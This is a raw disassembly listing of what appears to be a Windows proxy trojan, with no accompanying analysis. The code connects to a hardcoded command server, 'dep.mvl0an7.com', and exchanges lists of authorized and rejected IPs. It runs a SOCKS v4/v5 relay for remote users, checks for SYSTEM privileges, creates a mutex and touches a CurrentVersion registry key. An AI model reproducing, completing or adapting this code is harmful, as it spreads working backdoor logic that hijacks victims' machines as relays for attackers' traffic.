xor ecx, ecx
mov eax, ecx
retn
sub_445E9F endp
; =============== S U B R O U T I N E =======================================
sub_445EA4 proc near ; CODE XREF: DMN1:0044609Bp
; DMN1:004460ADp
xor eax, eax
retn
sub_445EA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445EA7 proc near ; CODE XREF: DMN1:00446226p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push eax
push ebx
push esi
mov ebx, [ebp+arg_4]
xor esi, esi
push offset dword_41285C
call dword_411CCC
cmp [ebp+arg_8], 0
jnz short loc_445ECF
push dword_412934
call sub_4442BC
pop ecx
loc_445ECF: ; CODE XREF: sub_445EA7+1Aj
mov esi, [ebp+arg_0]
mov eax, ebx
mov ecx, 4
cdq
idiv ecx
mov ebx, eax
jmp short loc_445F17
; ---------------------------------------------------------------------------
loc_445EE0: ; CODE XREF: sub_445EA7+72j
push 0
push dword ptr [esi]
push dword_412934
call sub_44436A
add esp, 0Ch
mov eax, [esi]
mov [ebp+var_4], eax
push eax
call sub_449101
push eax
mov eax, dword_412934
push dword ptr [eax+8]
push offset aAuthorizedIpIS ; "authorized IP #%i [%s]\n"
call nullsub_4
add esp, 0Ch
dec ebx
add esi, 4
loc_445F17: ; CODE XREF: sub_445EA7+37j
test ebx, ebx
jg short loc_445EE0
push offset dword_41285C
call dword_411CD0
xor eax, eax
inc eax
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_445EA7 endp
; ---------------------------------------------------------------------------
push ebx
push edi
mov ecx, [esp+0Ch]
mov ebx, [esp+10h]
xor edi, edi
jmp short loc_445F49
; ---------------------------------------------------------------------------
loc_445F3D: ; CODE XREF: DMN1:00445F53j
mov eax, [ebx+4]
mov [ecx], eax
mov ebx, [ebx+8]
add ecx, 4
inc edi
loc_445F49: ; CODE XREF: DMN1:00445F3Bj
cmp edi, 4000h
jge short loc_445F55
test ebx, ebx
jnz short loc_445F3D
loc_445F55: ; CODE XREF: DMN1:00445F4Fj
mov edx, [esp+14h]
mov [edx], edi
mov eax, ebx
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 30h
push ebx
push esi
push edi
push offset dword_41285C
call dword_411CCC
push dword_412934
call sub_4442BC
pop ecx
push offset dword_41285C
call dword_411CD0
push offset aDep_mvl0an7_co ; "dep.mvl0an7.com"
call sub_443ADF
pop ecx
mov [ebp-14h], eax
test eax, eax
jz short loc_445FA8
cmp eax, 0FFFFFFFFh
jz short loc_445FA8
test eax, eax
jnz short loc_445FAD
loc_445FA8: ; CODE XREF: DMN1:00445F9Bj
; DMN1:00445FA2j
jmp loc_4462DA
; ---------------------------------------------------------------------------
loc_445FAD: ; CODE XREF: DMN1:00445FA6j
mov word ptr [ebp-16h], 24EAh
xor esi, esi
and dword ptr [ebp-0Ch], 0
push 0
push offset dword_411024
call dword_411D04
cmp dword_411004, 0
jnz short loc_445FEB
movzx eax, word ptr dword_41100C
push eax
movzx eax, word ptr dword_411010
push eax
call sub_4446FD
pop ecx
pop ecx
mov dword_411004, eax
loc_445FEB: ; CODE XREF: DMN1:00445FCDj
movzx eax, word ptr dword_41100C
push eax
movzx eax, word ptr dword_411010
push eax
call sub_44476A
pop ecx
pop ecx
push dword_411010
push offset aMyPortI ; "my port [%i]\n"
call nullsub_4
pop ecx
pop ecx
mov eax, [ebp-14h]
mov [ebp-1Ch], eax
push eax
call sub_449101
mov [ebp-20h], eax
movzx eax, word ptr [ebp-16h]
push eax
push dword ptr [ebp-20h]
push offset aSrvSI ; "SRV: [%s:%i]\n"
call nullsub_4
add esp, 0Ch
and dword ptr [ebp-10h], 0
call sub_44367A
mov [ebp-10h], eax
test eax, eax
jz loc_4462DA
push dword ptr [ebp-10h]
call sub_443CE4
pop ecx
mov esi, eax
push offset aSrvConnecting_ ; "SRV: connecting...\n"
call nullsub_4
pop ecx
movzx eax, word ptr [ebp-16h]
push eax
push dword ptr [ebp-14h]
push dword ptr [ebp-10h]
call sub_443888
add esp, 0Ch
test eax, eax
jnz short loc_446089
push offset aSrvConnectingF ; "SRV: connecting failed.\n"
call nullsub_4
pop ecx
jmp loc_4462DA
; ---------------------------------------------------------------------------
loc_446089: ; CODE XREF: DMN1:00446077j
push offset aSrvHandshaki_0 ; "SRV: handshaking...\n"
call nullsub_4
pop ecx
mov dword ptr [ebp-24h], 1000h
call sub_445EA4
push eax
push offset aSrvRip?I ; "SRV: rip? %i\n"
call nullsub_4
pop ecx
pop ecx
call sub_445EA4
test eax, eax
jz short loc_4460BA
or dword ptr [ebp-24h], 1
loc_4460BA: ; CODE XREF: DMN1:004460B4j
push dword ptr [ebp-24h]
movzx eax, word ptr dword_411010
push eax
push esi
call sub_444097
add esp, 0Ch
test eax, eax
jnz short loc_4460E2
push offset aSrvHandshaking ; "SRV: handshaking failed.\n"
call nullsub_4
pop ecx
jmp loc_4462DA
; ---------------------------------------------------------------------------
loc_4460E2: ; CODE XREF: DMN1:004460D0j
push offset word_40EC12
call nullsub_4
pop ecx
push esi
call sub_444272
pop ecx
mov [ebp-8], eax
test eax, eax
jz short loc_44610B
push offset aSrvAckHandshac ; "SRV: ACK handshacking failed\n"
call nullsub_4
pop ecx
jmp loc_4462DA
; ---------------------------------------------------------------------------
loc_44610B: ; CODE XREF: DMN1:004460F9j
test byte ptr [ebp-24h], 1
jz loc_4461C2
push offset aSrvSendingReje ; "* SRV: sending rejected IPs\n"
call nullsub_4
pop ecx
push 10004h
call sub_443369
pop ecx
mov [ebp-30h], eax
mov [ebp-2Ch], eax
and dword ptr [ebp-28h], 0
loc_446135: ; CODE XREF: DMN1:00446158j
call sub_445E9F
mov edi, eax
test edi, edi
jz short loc_44615A
mov edx, [ebp-2Ch]
mov [edx], edi
mov eax, [ebp-2Ch]
add eax, 4
mov [ebp-2Ch], eax
inc dword ptr [ebp-28h]
cmp dword ptr [ebp-28h], 3FFFh
jl short loc_446135
loc_44615A: ; CODE XREF: DMN1:0044613Ej
mov eax, [ebp-28h]
add eax, eax
add eax, eax
push eax
push dword ptr [ebp-30h]
push 100h
push esi
call sub_443EB0
add esp, 10h
test eax, eax
jnz short loc_446190
push dword ptr [ebp-30h]
call sub_443397
pop ecx
push offset sub_40EBB5
call nullsub_4
pop ecx
jmp loc_4462DA
; ---------------------------------------------------------------------------
loc_446190: ; CODE XREF: DMN1:00446175j
push dword ptr [ebp-30h]
call sub_443397
pop ecx
push offset aSrvAckRejected ; "SRV: ACK rejected IPs\n"
call nullsub_4
pop ecx
push esi
call sub_444272
pop ecx
mov [ebp-8], eax
test eax, eax
jz short loc_4461C2
push offset aSrvAckReject_0 ; "SRV: ACK rejected IPs failed\n"
call nullsub_4
pop ecx
jmp loc_4462DA
; ---------------------------------------------------------------------------
loc_4461C2: ; CODE XREF: DMN1:0044610Fj
; DMN1:004461B0j ...
push 0FFFFh
push 0
lea eax, [ebp-2]
push eax
push esi
call sub_44407C
add esp, 10h
mov ebx, eax
test ebx, ebx
jl loc_4462DA
movzx eax, word ptr [ebp-2]
mov [ebp-28h], eax
cmp eax, 200h
jz short loc_446201
cmp eax, 201h
jz short loc_446242
cmp eax, 202h
jz short loc_446211
jmp loc_4462D5
; ---------------------------------------------------------------------------
loc_446201: ; CODE XREF: DMN1:004461ECj
push offset word_40EB76
call nullsub_4
pop ecx
jmp loc_4462DA
; ---------------------------------------------------------------------------
loc_446211: ; CODE XREF: DMN1:004461FAj
push offset byte_40EB69
call nullsub_4
pop ecx
push dword ptr [ebp-0Ch]
push ebx
push dword ptr [esi+470h]
call sub_445EA7
add esp, 0Ch
test eax, eax
jz loc_4462D5
mov dword ptr [ebp-0Ch], 1
jmp loc_4462D5
; ---------------------------------------------------------------------------
loc_446242: ; CODE XREF: DMN1:004461F3j
test ebx, ebx
jnz short loc_44624F
mov edx, [esi+470h]
mov byte ptr [edx], 0
loc_44624F: ; CODE XREF: DMN1:00446244j
push dword ptr [esi+470h]
push offset sub_40EB56
call nullsub_4
pop ecx
pop ecx
test ebx, ebx
jz short loc_4462D5
push dword ptr [esi+470h]
call sub_449A31
pop ecx
test eax, eax
jz short loc_4462D5
push 0
push offset dword_411014
call dword_411D2C
test eax, eax
jnz short loc_4462D5
push 1
push offset dword_411014
call dword_411D04
push 10000h
call sub_443369
pop ecx
mov [ebp-2Ch], eax
push dword ptr [esi+470h]
push dword ptr [ebp-2Ch]
call sub_449A51
pop ecx
pop ecx
push offset sub_40EB3C
call nullsub_4
pop ecx
push dword ptr [ebp-2Ch]
push 0
push offset sub_40399A
call sub_449CF1
add esp, 0Ch
push eax
call dword_411CF8
loc_4462D5: ; CODE XREF: DMN1:004461FCj
; DMN1:00446230j ...
jmp loc_4461C2
; ---------------------------------------------------------------------------
loc_4462DA: ; CODE XREF: DMN1:loc_445FA8j
; DMN1:00446046j ...
test esi, esi
jz short loc_4462E5
push esi
call sub_443D5C
pop ecx
loc_4462E5: ; CODE XREF: DMN1:004462DCj
cmp dword ptr [ebp-10h], 0
jz short loc_4462F4
push dword ptr [ebp-10h]
call sub_4437E3
pop ecx
loc_4462F4: ; CODE XREF: DMN1:004462E9j
push offset aSrvcommthreadD ; "SrvCommThread: done\n"
call nullsub_4
pop ecx
call sub_449D81
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_44630B: ; CODE XREF: DMN1:0044632Cj
call sub_445979
test eax, eax
jz short loc_446321
call sub_44744C
push 0
call dword_411D30
loc_446321: ; CODE XREF: DMN1:00446312j
push 3E8h
call dword_411D00
jmp short loc_44630B
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
and dword ptr [ebp-4], 0
loc_44633A: ; CODE XREF: DMN1:004463D3j
push 0
push 0
push offset sub_403C3F
call sub_449CF1
add esp, 0Ch
mov esi, eax
push 0FFFFFFFFh
mov eax, esi
push eax
call dword_411D34
mov eax, esi
push eax
call dword_411CF8
cmp dword_411030, 0
jz short loc_4463D8
lea eax, [ebp-4]
push eax
call sub_443322
pop ecx
mov ecx, 3Ch
cdq
idiv ecx
lea eax, [edx+6EAh]
mov edi, eax
push edi
push offset aSrvWaitingISec ; "Srv: waiting %i seconds...\n"
call nullsub_4
pop ecx
pop ecx
mov ebx, edi
jmp short loc_4463BB
; ---------------------------------------------------------------------------
loc_446395: ; CODE XREF: DMN1:004463BDj
push ebx
push offset aISecondsLeft_ ; "\r%i seconds left \b\b\b."
call nullsub_4
pop ecx
pop ecx
push 7D0h
call dword_411D00
sub ebx, 2
call sub_445979
test eax, eax
jz short loc_4463BB
xor ebx, ebx
loc_4463BB: ; CODE XREF: DMN1:00446393j
; DMN1:004463B7j
test ebx, ebx
jg short loc_446395
push offset asc_40EADA ; "\r \r"
call nullsub_4
pop ecx
cmp dword_411030, 0
jz short loc_4463D8
jmp loc_44633A
; ---------------------------------------------------------------------------
loc_4463D8: ; CODE XREF: DMN1:00446368j
; DMN1:004463D1j
call sub_449D81
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4463E4 proc near ; CODE XREF: sub_448AD1+3DFp
; sub_448AD1+488p ...
var_44 = dword ptr -44h
var_40 = byte ptr -40h
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 44h
mov [ebp+var_44], 3Fh
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_40]
push eax
call dword_411E40
test eax, eax
jz short loc_44642B
cmp [ebp+var_44], 6
jnb short loc_44640D
xor eax, eax
jmp short loc_44642B
; ---------------------------------------------------------------------------
loc_44640D: ; CODE XREF: sub_4463E4+23j
mov [ebp+var_1], 0
lea eax, [ebp+var_40]
push eax
push offset aSystem ; "SYSTEM"
call dword_411D38
test eax, eax
jz short loc_446428
xor eax, eax
jmp short loc_44642B
; ---------------------------------------------------------------------------
loc_446428: ; CODE XREF: sub_4463E4+3Ej
xor eax, eax
inc eax
loc_44642B: ; CODE XREF: sub_4463E4+1Dj
; sub_4463E4+27j ...
mov esp, ebp
pop ebp
retn
sub_4463E4 endp
; =============== S U B R O U T I N E =======================================
sub_44642F proc near ; CODE XREF: sub_447EA9+1p
; DMN1:loc_448039p ...
push ebx
cmp dword_411028, 0
jz short loc_44643D
xor eax, eax
jmp short loc_446481
; ---------------------------------------------------------------------------
loc_44643D: ; CODE XREF: sub_44642F+8j
xor ebx, ebx
push offset a_win32__wnss_u ; "_win32__wnss_um__"
push 0
push 0
call dword_411D08
mov dword_411028, eax
cmp dword_411028, 0
jz short loc_44647F
call dword_411CE8
cmp eax, 0B7h
jnz short loc_44647F
xor ebx, ebx
inc ebx
push dword_411028
call dword_411CF8
and dword_411028, 0
loc_44647F: ; CODE XREF: sub_44642F+2Bj
; sub_44642F+38j
mov eax, ebx
loc_446481: ; CODE XREF: sub_44642F+Cj
pop ebx
retn
sub_44642F endp
; =============== S U B R O U T I N E =======================================
sub_446483 proc near ; CODE XREF: sub_447EA9+3Dp
; DMN1:0044801Dp ...
cmp dword_411028, 0
jz short locret_44649F
push dword_411028
call dword_411CF8
and dword_411028, 0
locret_44649F: ; CODE XREF: sub_446483+7j
retn
sub_446483 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4464A0 proc near ; CODE XREF: sub_44651C+2Ep
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
push ebx
lea ebx, [ebp+var_20]
mov byte ptr [ebx], 0
inc ebx
movzx eax, [ebp+arg_4]
mov [ebx], al
inc ebx
mov ax, [ebp+arg_C]
mov [ebx], ax
add ebx, 2
mov eax, [ebp+arg_8]
mov [ebx], eax
push 8
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_443AA8
add esp, 0Ch
pop ebx
mov esp, ebp
pop ebp
retn
sub_4464A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4464DA proc near ; CODE XREF: sub_44651C+47p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
push ebx
lea ebx, [ebp+var_20]
mov byte ptr [ebx], 5
inc ebx
movzx eax, [ebp+arg_4]
mov [ebx], al
inc ebx
mov byte ptr [ebx], 0
inc ebx
mov byte ptr [ebx], 1
inc ebx
mov eax, [ebp+arg_8]
mov [ebx], eax
add ebx, 4
mov ax, [ebp+arg_C]
mov [ebx], ax
push 0Ah
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_443AA8
add esp, 0Ch
pop ebx
mov esp, ebp
pop ebp
retn
sub_4464DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44651C proc near ; CODE XREF: DMN1:004467E6p
; DMN1:004469A2p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
arg_10 = word ptr 18h
push ebp
mov ebp, esp
push ebx
mov bl, [ebp+arg_8]
cmp bl, 9
jbe short loc_44652C
xor bl, bl
inc bl
loc_44652C: ; CODE XREF: sub_44651C+Aj
cmp [ebp+arg_0], 4
jnz short loc_446554
movzx eax, bl
mov bl, byte_411034[eax]
movzx eax, [ebp+arg_10]
push eax
push [ebp+arg_C]
movzx eax, bl
push eax
push [ebp+arg_4]
call sub_4464A0
add esp, 10h
jmp short loc_44656B
; ---------------------------------------------------------------------------
loc_446554: ; CODE XREF: sub_44651C+14j
movzx eax, [ebp+arg_10]
push eax
push [ebp+arg_C]
movzx eax, bl
push eax
push [ebp+arg_4]
call sub_4464DA
add esp, 10h
loc_44656B: ; CODE XREF: sub_44651C+36j
pop ebx
pop ebp
retn
sub_44651C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44656E proc near ; CODE XREF: DMN1:00446770p
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push eax
push ebx
mov ebx, [ebp+arg_0]
loc_446576: ; CODE XREF: sub_44656E+23j
push 1
lea eax, [ebp+var_1]
push eax
push ebx
call sub_4439FD
add esp, 0Ch
test eax, eax
jg short loc_44658D
xor eax, eax
jmp short loc_446596
; ---------------------------------------------------------------------------
loc_44658D: ; CODE XREF: sub_44656E+19j
cmp [ebp+var_1], 0
jnz short loc_446576
xor eax, eax
inc eax
loc_446596: ; CODE XREF: sub_44656E+1Dj
pop ebx
mov esp, ebp
pop ebp
retn
sub_44656E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44659B proc near ; CODE XREF: DMN1:004467A7p
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov esi, [ebp+arg_8]
xor edi, edi
mov byte ptr [ebx], 0
loc_4465AD: ; CODE XREF: sub_44659B+47j
push 1
lea eax, [ebp+var_1]
push eax
push [ebp+arg_0]
call sub_4439FD
add esp, 0Ch
test eax, eax
jg short loc_4465C6
xor eax, eax
jmp short loc_4465E7
; ---------------------------------------------------------------------------
loc_4465C6: ; CODE XREF: sub_44659B+25j
mov eax, edi
inc edi
mov dl, [ebp+var_1]
mov [ebx+eax], dl
mov byte ptr [ebx+edi], 0
lea eax, [esi-1]
cmp edi, eax
jl short loc_4465DE
xor eax, eax
jmp short loc_4465E7
; ---------------------------------------------------------------------------
loc_4465DE: ; CODE XREF: sub_44659B+3Dj
cmp [ebp+var_1], 0
jnz short loc_4465AD
xor eax, eax
inc eax
loc_4465E7: ; CODE XREF: sub_44659B+29j
; sub_44659B+41j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44659B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 430h
push ebx
push esi
push edi
mov eax, [ebp+8]
mov [ebp-41Ch], eax
mov edi, [eax+8]
mov eax, [ebp-41Ch]
mov edx, [eax]
mov [ebp-410h], edx
mov dx, [eax+4]
mov [ebp-40Ah], dx
push eax
call sub_443397
pop ecx
and dword ptr [ebp-4], 0
mov eax, [ebp-410h]
mov [ebp-420h], eax
push eax
call sub_449101
mov [ebp-418h], eax
movzx eax, word ptr [ebp-40Ah]
push eax
push dword ptr [ebp-418h]
push offset aConnectionFrom ; "connection from [%s]\n"
call sub_449641
add esp, 0Ch
mov byte ptr [ebp-411h], 0
mov byte ptr [ebp-421h], 0
push 1
lea eax, [ebp-411h]
push eax
push edi
call sub_4439FD
add esp, 0Ch
test eax, eax
jle loc_446C5B
push offset dword_41285C
call dword_411CCC
push 0
push dword ptr [ebp-410h]
push dword_412934
call sub_444304
add esp, 0Ch
mov [ebp-428h], eax
push offset dword_41285C
call dword_411CD0
cmp dword ptr [ebp-428h], 0
jnz short loc_4466D7
push dword ptr [ebp-418h]
push offset aConnectionReje ; "connection rejected (from [%s])\n"
call nullsub_3
pop ecx
pop ecx
jmp loc_446C5B
; ---------------------------------------------------------------------------
loc_4466D7: ; CODE XREF: DMN1:004466BEj
mov word ptr [ebp-40Ah], 0
and dword ptr [ebp-410h], 0
mov al, [ebp-411h]
cmp al, 4
jz short loc_4466F9
cmp al, 5
jnz loc_446C5B
loc_4466F9: ; CODE XREF: DMN1:004466EFj
push dword ptr [ebp-418h]
movsx eax, byte ptr [ebp-411h]
push eax
push offset aSocksVIS ; "socks v%i [%s]\n"
call nullsub_3
add esp, 0Ch
cmp byte ptr [ebp-411h], 4
jnz loc_4467F3
push 1
lea eax, [ebp-421h]
push eax
push edi
call sub_4439FD
add esp, 0Ch
test eax, eax
jle loc_446C5B
push 2
lea eax, [ebp-40Ah]
push eax
push edi
call sub_4439FD
add esp, 0Ch
test eax, eax
jle loc_446C5B
push 4
lea eax, [ebp-410h]
push eax
push edi
call sub_4439FD
add esp, 0Ch
test eax, eax
jle loc_446C5B
push edi
call sub_44656E
pop ecx
test eax, eax
jz loc_446C5B
mov eax, [ebp-410h]
test eax, 0FFFFFFh
jnz loc_4469DF
test eax, 0FF000000h
jz loc_4469DF
push 400h
lea eax, [ebp-408h]
push eax
push edi
call sub_44659B
add esp, 0Ch
test eax, eax
jz loc_446C5B
lea eax, [ebp-408h]
push eax
call sub_443ADF
pop ecx
mov [ebp-410h], eax
test eax, eax
jz short loc_4467DD
cmp eax, 0FFFFFFFFh
jz short loc_4467DD
test eax, eax
jnz loc_4469DF
loc_4467DD: ; CODE XREF: DMN1:004467CCj
; DMN1:004467D3j
push 0
push 0
push 4
push edi
push 4
call sub_44651C
add esp, 14h
jmp loc_446C5B
; ---------------------------------------------------------------------------
loc_4467F3: ; CODE XREF: DMN1:0044671Bj
cmp byte ptr [ebp-411h], 5
jnz loc_446C5B
mov byte ptr [ebp-429h], 0
push 1
lea eax, [ebp-429h]
push eax
push edi
call sub_4439FD
add esp, 0Ch
test eax, eax
jg short loc_446843
jmp loc_446C5B
; ---------------------------------------------------------------------------
loc_446822: ; CODE XREF: DMN1:0044684Aj
push 1
lea eax, [ebp-42Ah]
push eax
push edi
call sub_4439FD
add esp, 0Ch
test eax, eax
jle loc_446C5B
sub byte ptr [ebp-429h], 1
loc_446843: ; CODE XREF: DMN1:0044681Bj
cmp byte ptr [ebp-429h], 0
jnz short loc_446822
mov dword ptr [ebp-430h], 5
push 2
lea eax, [ebp-430h]
push eax
push edi
call sub_443AA8
add esp, 0Ch
test eax, eax
jle loc_446C5B
push 1
lea eax, [ebp-42Ah]
push eax
push edi
call sub_4439FD
add esp, 0Ch
test eax, eax
jle loc_446C5B
cmp byte ptr [ebp-42Ah], 5
jnz loc_446C5B
push 1
lea eax, [ebp-421h]
push eax
push edi
call sub_4439FD
add esp, 0Ch
test eax, eax
jle loc_446C5B
push 1
lea eax, [ebp-42Ah]
push eax
push edi
call sub_4439FD
add esp, 0Ch
test eax, eax
jle loc_446C5B
mov byte ptr [ebp-42Bh], 0
push 1
lea eax, [ebp-42Bh]
push eax
push edi
call sub_4439FD
add esp, 0Ch
test eax, eax
jle loc_446C5B
cmp byte ptr [ebp-42Bh], 1
jnz short loc_446914
push 4
lea eax, [ebp-410h]
push eax
push edi
call sub_4439FD
add esp, 0Ch
test eax, eax
jg loc_4469C5
jmp loc_446C5B
; ---------------------------------------------------------------------------
loc_446914: ; CODE XREF: DMN1:004468F3j
cmp byte ptr [ebp-42Bh], 3
jnz loc_4469AF
push 1
lea eax, [ebp-429h]
push eax
push edi
call sub_4439FD
add esp, 0Ch
test eax, eax
jle loc_446C5B
cmp byte ptr [ebp-429h], 0
jz loc_446C5B
movsx eax, byte ptr [ebp-429h]
push eax
lea eax, [ebp-408h]
push eax
push edi
call sub_4439FD
add esp, 0Ch
test eax, eax
jle loc_446C5B
movsx eax, byte ptr [ebp-429h]
mov byte ptr [ebp+eax-408h], 0
lea eax, [ebp-408h]
push eax
call sub_443ADF
pop ecx
mov [ebp-410h], eax
test eax, eax
jz short loc_446999
cmp eax, 0FFFFFFFFh
jz short loc_446999
test eax, eax
jnz short loc_4469C5
loc_446999: ; CODE XREF: DMN1:0044698Cj
; DMN1:00446993j
push 0
push 0
push 4
push edi
push 5
call sub_44651C
add esp, 14h
jmp loc_446C5B
; ---------------------------------------------------------------------------
loc_4469AF: ; CODE XREF: DMN1:0044691Bj
push 0
push 0
push 8
push edi
push 5
call sub_44651C
add esp, 14h
jmp loc_446C5B
; ---------------------------------------------------------------------------
loc_4469C5: ; CODE XREF: DMN1:00446909j
; DMN1:00446997j
push 2
lea eax, [ebp-40Ah]
push eax
push edi
call sub_4439FD
add esp, 0Ch
test eax, eax
jle loc_446C5B
loc_4469DF: ; CODE XREF: DMN1:00446789j
; DMN1:00446794j ...
movzx eax, word ptr [ebp-40Ah]
push eax
call sub_4490B9
mov [ebp-40Ah], ax
test ax, ax
jnz short loc_446A14
push 0
push 0
push 2
push edi
movsx eax, byte ptr [ebp-411h]
push eax
call sub_44651C
add esp, 14h
jmp loc_446C5B
; ---------------------------------------------------------------------------
loc_446A14: ; CODE XREF: DMN1:004469F6j
cmp byte ptr [ebp-421h], 1
jz short loc_446A43
movzx eax, word ptr [ebp-40Ah]
push eax
push dword ptr [ebp-410h]
push 7
push edi
movsx eax, byte ptr [ebp-411h]
push eax
call sub_44651C
add esp, 14h
jmp loc_446C5B
; ---------------------------------------------------------------------------
loc_446A43: ; CODE XREF: DMN1:00446A1Bj
call sub_44367A
mov [ebp-4], eax
test eax, eax
jnz short loc_446A6B
push 0
push 0
push 1
push edi
movsx eax, byte ptr [ebp-411h]
push eax
call sub_44651C
add esp, 14h
jmp loc_446C5B
; ---------------------------------------------------------------------------
loc_446A6B: ; CODE XREF: DMN1:00446A4Dj
mov eax, [ebp-410h]
mov [ebp-420h], eax
push eax
call sub_449101
mov [ebp-418h], eax
movzx eax, word ptr [ebp-40Ah]
push eax
push dword ptr [ebp-418h]
push offset aConnectingToSI ; "connecting to %s:%i\n"
call nullsub_3
add esp, 0Ch
movzx eax, word ptr [ebp-40Ah]
push eax
push dword ptr [ebp-410h]
push dword ptr [ebp-4]
call sub_443888
add esp, 0Ch
test eax, eax
jnz short loc_446B02
call sub_449113
push eax
movzx eax, word ptr [ebp-40Ah]
push eax
push dword ptr [ebp-418h]
push offset aConnectionToSI ; "connection to %s:%i failed! %-( (%i)\n"
call nullsub_3
add esp, 10h
movzx eax, word ptr [ebp-40Ah]
push eax
push dword ptr [ebp-410h]
push 4
push edi
movsx eax, byte ptr [ebp-411h]
push eax
call sub_44651C
add esp, 14h
jmp loc_446C5B
; ---------------------------------------------------------------------------
loc_446B02: ; CODE XREF: DMN1:00446AB9j
movzx eax, word ptr [ebp-40Ah]
push eax
push dword ptr [ebp-418h]
push offset aConnectedToSI ; "connected to %s:%i\n"
call nullsub_3
add esp, 0Ch
movzx eax, word ptr [ebp-40Ah]
push eax
push dword ptr [ebp-410h]
push 0
push edi
movsx eax, byte ptr [ebp-411h]
push eax
call sub_44651C
add esp, 14h
test eax, eax
jz loc_446C5B
push offset aTransferringDa ; "transferring data...\n"
call nullsub_3
pop ecx
xor esi, esi
loc_446B53: ; CODE XREF: DMN1:00446C3Aj
; DMN1:00446C4Bj
inc esi
push edi
call sub_4437F0
pop ecx
test eax, eax
jl loc_446C50
push edi
call sub_443863
pop ecx
mov ebx, eax
test ebx, ebx
jl loc_446C50
cmp esi, 1Eh
jle short loc_446B80
test ebx, ebx
jnz short loc_446B80
xor ebx, ebx
inc ebx
loc_446B80: ; CODE XREF: DMN1:00446B77j
; DMN1:00446B7Bj
test ebx, ebx
jle short loc_446BCC
cmp ebx, 400h
jle short loc_446B91
mov ebx, 400h
loc_446B91: ; CODE XREF: DMN1:00446B8Aj
push ebx
lea eax, [ebp-408h]
push eax
push edi
call sub_4439FD
add esp, 0Ch
mov [ebp-8], eax
test eax, eax
jle loc_446C50
push dword ptr [ebp-8]
lea eax, [ebp-408h]
push eax
push dword ptr [ebp-4]
call sub_443AA8
add esp, 0Ch
test eax, eax
jle loc_446C5B
xor esi, esi
loc_446BCC: ; CODE XREF: DMN1:00446B82j
push dword ptr [ebp-4]
call sub_4437F0
pop ecx
test eax, eax
jl short loc_446C50
push dword ptr [ebp-4]
call sub_443863
pop ecx
mov ebx, eax
test ebx, ebx
jl short loc_446C50
cmp esi, 1Eh
jle short loc_446BF4
test ebx, ebx
jnz short loc_446BF4
xor ebx, ebx
inc ebx
loc_446BF4: ; CODE XREF: DMN1:00446BEBj
; DMN1:00446BEFj
test ebx, ebx
jle short loc_446C38
cmp ebx, 400h
jle short loc_446C05
mov ebx, 400h
loc_446C05: ; CODE XREF: DMN1:00446BFEj
push ebx
lea eax, [ebp-408h]
push eax
push dword ptr [ebp-4]
call sub_4439FD
add esp, 0Ch
mov [ebp-8], eax
test eax, eax
jle short loc_446C50
push dword ptr [ebp-8]
lea eax, [ebp-408h]
push eax
push edi
call sub_443AA8
add esp, 0Ch
test eax, eax
jle short loc_446C5B
xor esi, esi
loc_446C38: ; CODE XREF: DMN1:00446BF6j
test esi, esi
jz loc_446B53
push 12Ch
call dword_411D00
jmp loc_446B53
; ---------------------------------------------------------------------------
loc_446C50: ; CODE XREF: DMN1:00446B5Dj
; DMN1:00446B6Ej ...
push offset aDataExchangeCo ; "data exchange complete\n"
call nullsub_3
pop ecx
loc_446C5B: ; CODE XREF: DMN1:0044667Fj
; DMN1:004466D2j ...
push offset aConnectionClos ; "connection closed.\n"
call nullsub_3
pop ecx
push edi
call sub_4437E3
pop ecx
cmp dword ptr [ebp-4], 0
jz short loc_446C7C
push dword ptr [ebp-4]
call sub_4437E3
pop ecx
loc_446C7C: ; CODE XREF: DMN1:00446C71j
call sub_449D81
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
xor ebx, ebx
and dword ptr [ebp-4], 0
and dword_41100C, 0
mov eax, dword_41100C
mov [ebp-10h], eax
lea eax, [ebp-18h]
push eax
lea eax, [ebp-0Ch]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000001h
call dword_411E24
test eax, eax
jnz short loc_446D00
lea eax, [ebp-20h]
push eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-24h]
push eax
push 0
push offset aInternalprogra ; "InternalProgramData"
